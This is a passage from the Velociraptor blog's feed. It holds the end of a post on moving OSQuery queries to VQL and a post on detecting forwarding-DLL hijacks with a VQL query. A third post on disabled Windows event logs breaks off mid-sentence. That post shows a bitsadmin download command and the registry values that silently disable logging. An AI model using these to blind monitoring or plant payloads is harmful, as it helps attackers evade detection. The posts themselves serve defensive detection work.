complex&#xA;functionality can be implemented entirely in VQL.&lt;/p&gt;&#xA;&lt;p&gt;As a VQL query writer, seek to utilize one of the hundreds of built in&#xA;artifacts in your queries. There are many artifacts that are&#xA;functionally equivalent to OSQuery’s tables, but are written in VQL&#xA;(So you can just customize them as well). If you come up with&#xA;interesting artifacts, please share them with the community either by&#xA;sending us a pull request on GitHub or hosting the YAML yourself.&lt;/p&gt;&#xA;&lt;h3 id=&#34;joins-and-foreach&#34;&gt;Joins and foreach()&lt;/h3&gt;&#xA;&lt;p&gt;Many newcomers to VQL look for the familiar SQL constructs like&#xA;JOIN. However, VQL does not use joins at all, keeping the language&#xA;simpler. In my experience SQL joins are confusing and difficult for&#xA;people to really understand (quiz: what is the difference between a&#xA;left join, right join, cross join, inner join and outer join?).&lt;/p&gt;&#xA;&lt;p&gt;Since VQL can provide parameters to plugins, we can create a plugin&#xA;which takes another query as a parameter. This is the fundamental idea&#xA;behind the foreach() plugin (I wrote about it&lt;a href=&#34;https://medium.com/velociraptor-ir/the-velociraptor-query-language-pt-2-fe92bb7aa150&#34; target=&#34;_blank&#34; &gt;&#xA;previously&lt;/a&gt;). The&#xA;foreach plugin accepts the “rows” parameter and the “query”&#xA;parameter. It simply runs the “rows” query and for each row it&#xA;produces, the plugin evaluates the “query” query and emits the&#xA;results.&lt;/p&gt;&#xA;&lt;p&gt;Let’s take a simple example: an OSQuery query designed to display&#xA;information about specific chrome extensions.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-03-migrating-from-osquery-to-velociraptor-d4143799953f/../../img/12_aE3H4tGqcSQLw44l_iJQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This OSQuery query joins the &lt;strong&gt;users&lt;/strong&gt; table and the&#xA;&lt;strong&gt;chrome_extension&lt;/strong&gt; table to fill information about the user&lt;/p&gt;&#xA;&lt;p&gt;The equivalent VQL simply runs two queries — for each row emitted by&#xA;the &lt;strong&gt;Windows.Applications.Chrome.Extensions&lt;/strong&gt; artifact that matches&#xA;the extension of interest, we iterate over all the users, and select&#xA;the user record of the user matching the relevant record so we can&#xA;display its UUID.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-03-migrating-from-osquery-to-velociraptor-d4143799953f/../../img/1uijQ0x2p97P13V66lkWFCQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The VQL syntax is a lot of more readable without using a join&#xA;statement. VQL also supports stored queries (similar to stored&#xA;procedures) which take parameters and encourage query reuse.&lt;/p&gt;&#xA;&lt;p&gt;A more refined query might use variables to store subqueries and then&#xA;simply call them:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-03-migrating-from-osquery-to-velociraptor-d4143799953f/../../img/1e_elJMJje0it3Da-M4OamQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h3&gt;&#xA;&lt;p&gt;This post described some of the more obvious differences between&#xA;OSQuery and Velociraptor. To summarise&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The OSQuery file table equivalent is the VQL glob() plugin. Glob&#xA;takes a glob expression as a parameter. Glob expressions use * and&#xA;** as wildcard instead of % or %%.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;VQL does not have a like operator, instead using the regular&#xA;expression operator =~&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The Glob plugin is much faster than the OSQuery file table and&#xA;there are no restrictions on where a recursive wildcard goes.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;VQL queries time out by default after 10 min so there is no danger&#xA;of overrunning the endpoint. If you prefer low and slow approach it&#xA;is possible to rate limit the VQL query as well as increase the&#xA;timeout.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Artifacts are YAML files that encapsulate VQL queries. Velociraptor&#xA;does not directly collect VQL queries on the endpoint — you need to&#xA;create an artifact first.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;If you previously reached for an OSQuery table that provides the&#xA;data you need, simply look at existing VQL Artifacts that do the&#xA;same. If there are none available, you can add your own&#xA;&lt;strong&gt;Artifacts&lt;/strong&gt; in a modular way in the GUI (without needing to&#xA;rebuild clients or servers).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;VQL does not use &lt;strong&gt;join&lt;/strong&gt;, instead the foreach plugin provides the&#xA;same functionality in a clearer way. Foreach also takes the&#xA;&lt;strong&gt;workers&lt;/strong&gt; parameter allowing it to run concurrently on multiple&#xA;cores.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Users who are currently migrating from OSQuery can still reuse the&#xA;existing investment they have in OSQuery queries directly in&#xA;Velociraptor, but I hope this article convinced you that it is well&#xA;worth porting your existing queries to native Velociraptor VQL to take&#xA;advantage of the flexibility and performance enhancements that&#xA;Velociraptor offers.&lt;/p&gt;&#xA;&lt;p&gt;The above example is just one of the exercises we do in our hands on&#xA;Velociraptor courses. If you are interested in learning more about&#xA;Velociraptor, check out our hands on training courses on&#xA;&lt;a href=&#34;https://www.velocidex.com/training/&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/training/&lt;/a&gt;&#xA;or check out the code on&#xA;&lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;GitHub&lt;/a&gt;. To chat, please&#xA;join us on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Detecting DLL Hijacking With VQL</title>
      <link>https://www.velociraptor-docs.org/blog/2021/2021-02-02-detecting-dll-hijacking-with-vql-e9a735354257/</link>
      <pubDate>Tue, 02 Feb 2021 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2021/2021-02-02-detecting-dll-hijacking-with-vql-e9a735354257/</guid>
      <description>&lt;p&gt;One of my favorite pastime is reading Twitter and following other security researchers. I love being able to see a new tool or technique and develop an understanding and detections for it. A while back, I was reading my feed and saw an excellent article titled &lt;a href=&#34;https://www.mdsec.co.uk/2020/10/i-live-to-move-it-windows-lateral-movement-part-3-dll-hijacking/&#34; target=&#34;_blank&#34; &gt;I Like to Move It: Windows Lateral Movement Part 3: DLL Hijacking&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The article describes an interesting form of lateral movement — DLL Hijacking. DLL Hijacking is an abuse of the Windows DLL search order resolution process. Typically, when an executable is started, the executable will declare dependent DLLs in its import table. Windows will search for these DLLs in a number of paths, until a suitable DLL is found, and its exported symbols will be resolved into the new image. DLL Hijacking works by placing a malicious DLL, with the same name as a legitimate DLL, in a directory that is searched earlier, thereby tricking the loader into loading the malicious DLL instead of the legitimate one.&lt;/p&gt;&#xA;&lt;p&gt;DLL Hijacking is often used for persistence — simply place a malicious DLL earlier in the search path, and programs that are started (potentially with higher privileges) will load the malicious DLL, thereby granting execution.&lt;/p&gt;&#xA;&lt;p&gt;In the above article an interesting approach is described to escalate privileges or laterally move to a remote system — simply write a malicious DLL using e.g. SMB on the target machine, and wait until a user or process on the remote machine runs the vulnerable program.&lt;/p&gt;&#xA;&lt;p&gt;Actually getting DLL hijacking to work successfully is &lt;a href=&#34;https://silentbreaksecurity.com/adaptive-dll-hijacking/&#34; target=&#34;_blank&#34; &gt;quite tricky&lt;/a&gt;. The details are described well by Nick Landers in &lt;a href=&#34;https://silentbreaksecurity.com/adaptive-dll-hijacking/&#34; target=&#34;_blank&#34; &gt;Adaptive DLL Hijacking&lt;/a&gt; which presents a number of approaches.&lt;/p&gt;&#xA;&lt;p&gt;One of the simplest technique, is to simply create a DLL with a bunch of forwarded functions. Normally a DLL contains an &lt;em&gt;Export Table&lt;/em&gt;, listing all the functions it exports. However sometimes, the need arises to legitimately forward an export that would normally be found in one DLL to another DLL (e.g. in the case where a DLL was refactored this allows replacing the dll without rebuilding programs that depend on it).&lt;/p&gt;&#xA;&lt;p&gt;In this case, the export table contains a forward entry — i.e. it forwards the loader into another DLL. Nick Landers published a tool to help build such a dll &lt;a href=&#34;https://github.com/monoxgas/Koppeling&#34; target=&#34;_blank&#34; &gt;https://github.com/monoxgas/Koppeling&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;example-injection&#34;&gt;Example Injection&lt;/h3&gt;&#xA;&lt;p&gt;I will use the Koppeling tool above to build a simple DLL forwarder as per the example in the repository.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-02-detecting-dll-hijacking-with-vql-e9a735354257/../../img/1MDCiispLQZwNTqreGTQ_CQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-02-detecting-dll-hijacking-with-vql-e9a735354257/../../img/1w0xeBExcn4m06ja_HLFGIg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;parsing-the-dll&#34;&gt;Parsing the DLL&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor has a function that allows parsing a PE file, lets see what information is available — Simply use parse_pe() on the injection file.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-02-detecting-dll-hijacking-with-vql-e9a735354257/../../img/1jogu19VYVVVeL98TDKZHNQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We see that although the file is called &lt;strong&gt;wkscli.dll&lt;/strong&gt; it really is &lt;strong&gt;kernel32.dll&lt;/strong&gt; (since we have modified its exports to forward to the original wkscli.dll residing in C:\Windows\System32).&lt;/p&gt;&#xA;&lt;p&gt;While it is normal for a dll to forward to another dll, it is very unusual for a dll to forward to &lt;strong&gt;another dll of the same name&lt;/strong&gt;. So I think a strong signal for a potentially hijack dll is one that contains forwards to another dll with the same base name.&lt;/p&gt;&#xA;&lt;p&gt;As usual I created a Velociraptor notebook and developed the VQL within it. The full query I entered in the notebook cell is shown below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;LET Glob = &#39;&#39;&#39;C:\windows\**\*.dll&#39;&#39;&#39;&#xA;&#xA;-- Apply the glob to search for matching DLLs.&#xA;LET DLLs = SELECT FullPath, Name, parse_pe(file=FullPath).Forwards AS Forwards,&#xA;     lowcase(string=parse_string_with_regex(regex=&amp;quot;^(?P&amp;lt;BareName&amp;gt;[^.]+)&amp;quot;, string=Name).BareName) AS DLLBareName&#xA;FROM glob(globs=Glob)&#xA;WHERE NOT FullPath =~ &amp;quot;(WinSXS|Servicing)&amp;quot;&#xA;&#xA;-- For each DLL, extract the forward strings.&#xA;SELECT * FROM foreach(row=DLLs, workers=20,&#xA;query={&#xA;  -- For each forwarded export, split the string into&#xA;  -- a DLL path and export name&#xA;  SELECT FullPath AS DllPath, ForwardedImport,&#xA;         Parse.DllPath AS DllImportPath,&#xA;         Parse.Export AS DLLExportFunc,&#xA;         DLLBareName,&#xA;         basename(path=lowcase(string=Parse.DllPath)) AS ExportDLLName&#xA;  FROM foreach(row=Forwards,&#xA;  query={&#xA;      SELECT parse_string_with_regex(&#xA;          regex=&amp;quot;(?P&amp;lt;DllPath&amp;gt;.+)\\.(?P&amp;lt;Export&amp;gt;[^.]+$)&amp;quot;, string=_value) AS Parse,&#xA;          _value AS ForwardedImport&#xA;      FROM scope()&#xA;  })&#xA;  -- Only select forwarded functions that forward to the same dll name.&#xA;  WHERE ExportDLLName = DLLBareName&#xA;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;First I search for all DLL files in the provided glob (excluding &lt;strong&gt;winsxs&lt;/strong&gt; and &lt;strong&gt;servicing&lt;/strong&gt; directory). I also lowercase the name of the dll and strip the extension.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;For each DLL I parse out the forwarded functions and use a regular expression to split the string into a target DLL and an exported function.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;I then filter all rows to show only those with the target DLL the same as the name of the dll itself.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;testing-the-vql&#34;&gt;Testing the VQL&lt;/h3&gt;&#xA;&lt;p&gt;I copied the hijack DLL I created with &lt;a href=&#34;https://github.com/monoxgas/Koppeling&#34; target=&#34;_blank&#34; &gt;Koppeling&lt;/a&gt; into the Windows directory. I then created an artifact and collected it on my VM. I chose to recursively scan all dlls in the windows directory to get an idea of the performance impact.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-02-detecting-dll-hijacking-with-vql-e9a735354257/../../img/1Fcsrla6Y1rQFyBThJ-APsg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor reports all forwarded functions that target a DLL with the same name as the one it is currently parsing. Velociraptor parsed about 9000 Dlls and took 62 seconds to find the one injection dll and one false positive (C:\Windows\SysWOW64\rpcrt4.dll).&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusions&#34;&gt;Conclusions.&lt;/h3&gt;&#xA;&lt;p&gt;This quick VQL is only suitable to detect one type of DLL hijack — one using forwarded functions. There are many other types of hijacking which might be more difficult to detect (more are discussed in the paper above). It is also possible to detect dll injection after the fact (by looking at loaded DLLs in process memory images), but this query is looking for “time bombs” — simply files that stay on the endpoint until a time in the future where they allow reinfection or escalation.&lt;/p&gt;&#xA;&lt;p&gt;In this exercise we went from a blog post and a POC tool to a detection artifact in a short time, and were able to easily deploy and subsequently hunt for these.&lt;/p&gt;&#xA;&lt;p&gt;The above example is just one of the exercises we do in our hands on Velociraptor courses. If you are interested in learning more about Velociraptor, check out our hands on training courses on &lt;a href=&#34;https://www.velocidex.com/training/&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/training/&lt;/a&gt; or check out the code on &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;GitHub&lt;/a&gt;. To chat, please join us on discord &lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Disabled Event Log files</title>
      <link>https://www.velociraptor-docs.org/blog/2021/2021-01-29-disabled-event-log-files-a3529a08adbe/</link>
      <pubDate>Fri, 29 Jan 2021 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2021/2021-01-29-disabled-event-log-files-a3529a08adbe/</guid>
      <description>&lt;h3 id=&#34;detecting-malicious-activity-with-velociraptor&#34;&gt;Detecting malicious activity with Velociraptor&lt;/h3&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-29-disabled-event-log-files-a3529a08adbe/https://cdn-images-1.medium.com/max/11520/0*8Z6QxIV2lCx4PYPT&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Photo by Jonny Caspari on Unsplash&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    Photo by Jonny Caspari on Unsplash&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;em&gt;Photo by &lt;a href=&#34;https://unsplash.com/@jonnysplsh?utm_source=medium&amp;amp;utm_medium=referral&#34; target=&#34;_blank&#34; &gt;Jonny Caspari&lt;/a&gt; on &lt;a href=&#34;https://unsplash.com?utm_source=medium&amp;amp;utm_medium=referral&#34; target=&#34;_blank&#34; &gt;Unsplash&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Windows information security techniques are heavily reliant on the availability and integrity of event logs. Many state of the art systems use event log forwarding to aggregate information from endpoints and detect malicious behavior across the enterprise.&lt;/p&gt;&#xA;&lt;p&gt;But how reliable really are event logs? I was playing around with the Windows Event Viewer to understand how event logs can be interfered with in practice. We &lt;a href=&#34;https://medium.com/velociraptor-ir/windows-event-logs-d8d8e615c9ca&#34; target=&#34;_blank&#34; &gt;previously covered&lt;/a&gt; the general structure of the Windows Event Log system, so you might want to have a quick read of &lt;a href=&#34;https://medium.com/velociraptor-ir/windows-event-logs-d8d8e615c9ca&#34; target=&#34;_blank&#34; &gt;that post&lt;/a&gt; before you dive into this one.&lt;/p&gt;&#xA;&lt;h3 id=&#34;example-bits-transfer&#34;&gt;Example: BITS transfer&lt;/h3&gt;&#xA;&lt;p&gt;For this post I will use the example of a BITS transfer using bitsadmin.exe. BITS is a transfer service built into the Windows operating system, normally used to fetch windows (or application) updates. However, is it also commonly used by threat actors to deliver malicious payloads because BITS is typically trusted by endpoint tools (since it is a standard windows service). See &lt;a href=&#34;https://attack.mitre.org/techniques/T1197/&#34; target=&#34;_blank&#34; &gt;Mitre Att&amp;amp;ck T1197&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For this test I will use bitsadmin to download a page from the internet and store it on the filesystem. By default, the BITS service will generate several log messages in the log file &lt;code&gt;%SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx&lt;/code&gt; as shown in the screenshot below&lt;/p&gt;&#xA;&lt;p&gt;The command I will run fetches a file from the internet and stores it locally&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;bitsadmin.exe /transfer /download /priority foreground [https://www.google.com](https://www.google.com) c:\Users\test\test.ps1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-29-disabled-event-log-files-a3529a08adbe/../../img/1o74NoHxr20avTkbAplRlHQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Many tools rely on the presence of these eventlog messages to escalate an alert for this malicious activity.&lt;/p&gt;&#xA;&lt;p&gt;While I was playing with this technique I noticed an interesting option in the Windows Event Viewer: &lt;code&gt;disabled Log&lt;/code&gt; available by simply right clicking on the log file.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-29-disabled-event-log-files-a3529a08adbe/../../img/1oOg5MAjs9uLe6SoqcRhBGg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Sure enough when the log file is disabled, no events are recorded in the event log at all! Any solutions that rely on detecting event logs will be completely blinded by this setting!&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-does-this-setting-do&#34;&gt;What does this setting do?&lt;/h3&gt;&#xA;&lt;p&gt;I wanted to know if I can detect when a log file was disabled on an&#xA;endpoint. My working hypothesis was that this UI would change some&#xA;registry keys and I know how to collect those!&lt;/p&gt;&#xA;&lt;p&gt;I started up procmon and clicked the button to disable the log. After&#xA;some applications of filtering I was able to narrow it down to the&#xA;following value&#xA;&lt;code&gt;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Bits-Client/Operational\Enabled&lt;/code&gt;&#xA;which is set to 0 for disabling the log file.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-29-disabled-event-log-files-a3529a08adbe/../../img/12sb1bdsZuU3ghB9CTWVAZQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;detecting-this-setting&#34;&gt;Detecting this setting&lt;/h3&gt;&#xA;&lt;p&gt;Ok, great, I want to write a Velociraptor artifact to detect the state of log files. To develop the required VQL I will create a new notebook and simply write the VQL in it.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-29-disabled-event-log-files-a3529a08adbe/../../img/1qh7B-LH8fyaxXauzuqI0dw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In this query we glob for all keys within the registry query above and extract the channel name (as the name of the subkey) and the Enabled valued. For the sake of simplicity I filtered the above to only examine the bits channels we are currently interested in.&lt;/p&gt;&#xA;&lt;h3 id=&#34;other-avenues&#34;&gt;Other avenues&lt;/h3&gt;&#xA;&lt;p&gt;Running the above query shows all the channels (i.e. log files) that are disabled, but there are other ways to disable logging.&lt;/p&gt;&#xA;&lt;p&gt;Lets look back at the procmon output above we see another interesting value is being set&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-29-disabled-event-log-files-a3529a08adbe/../../img/1WJRSRw7s8d_gSVwaRZ8p8w.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;What happens if we change this Enabled value to 0? Lets try this, and reboot…&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-29-disabled-event-log-files-a3529a08adbe/../../img/1g-lvFbFw2yO_c8DqOvEvjQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This time logging is also disabled, but the log file is showing as enabled!&lt;/p&gt;&#xA;&lt;p&gt;This second registry key disables the provider itself, while the previous method disables the channel (log file). The GUID in the registry key corresponds to the provider name. As described in our previous article the provider name can be derived from the registry key &lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\&lt;/code&gt; which can be used to resolve the GUI to a name&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-29-disabled-event-log-files-a3529a08adbe/../../img/1bgC3WMCTWXcFxudRwqFxhQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Let’s write some VQL to display the Enabled status of the BITS provider.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-29-disabled-event-log-files-a3529a08adbe/../../img/1WUWEOGrqJyO7sRYoYFrZtA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This VQL also resolves the GUID to a provider name via the &lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\&lt;/code&gt; key as well as showing the modification time of the registry key in question.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-29-disabled-event-log-files-a3529a08adbe/../../img/1UMnEn1TwNkXMpFW0NZqNww.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;converting-to-an-artifact&#34;&gt;Converting to an artifact&lt;/h3&gt;&#xA;&lt;p&gt;Armed with the above VQL queries, we can now write an artifact that collects this information from the endpoint. I also added some potential filters to make my artifact more 